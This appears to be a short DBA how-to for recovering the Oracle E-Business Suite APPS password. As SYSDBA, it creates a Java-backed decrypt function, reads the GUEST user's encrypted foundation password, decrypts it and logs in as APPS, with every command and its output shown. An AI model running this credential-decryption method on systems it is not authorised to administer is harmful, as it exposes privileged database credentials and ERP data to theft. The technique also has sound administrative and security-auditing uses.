Note :
it is very easy to break /
decrypt the apps password ,who are well deserved on APPS:
Step
by step to retrieve apps password:
Step 1: To
create function for encrypt password
Log in DB-node on
oracle user / as sysdba
SQL> create FUNCTION apps.decrypt_pin_func(in_chr_key
IN VARCHAR2,in_chr_encrypted_pin IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA NAME
'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String)
return java.lang.String';
/
Function created.
Step 2: To
find the encrypt password
SQL> set linesize 10000;
SQL> select
ENCRYPTED_FOUNDATION_PASSWORD from apps.fnd_user where USER_NAME='GUEST';
ENCRYPTED_FOUNDATION_PASSWORD
----------------------------------------------------------------------------------------------------
ZG6E0BA81F7BB8B47EF79CD47E3A9F1FB25FB8D95055EEC767BB88E54B90F3B30A85C577614C0D62C0442A4CC7F3979B1F65
Step 3:To
find converted Decrypt
password
SQL> SELECT
apps.decrypt_pin_func('GUEST/ORACLE','ZG6E0BA81F7BB8B47EF79CD47E3A9F1FB25FB8D95055EEC767BB88E54B90F3B30A85C577614C0D62C0442A4CC7F3979B1F65')
from dual;
APPS.DECRYPT_PIN_FUNC('GUEST/ORACLE','ZG6E0BA81F7BB8B47EF79CD47E3A9F1FB25FB8D950
--------------------------------------------------------------------------------
SUPTAPPS01
Step 4:
Please test the apps password
SQL> conn apps/SUPTAPPS01
Connected.
SQL> show user
USER is "APPS"
++++++++++++++++Manjunatha++++++++++++++++
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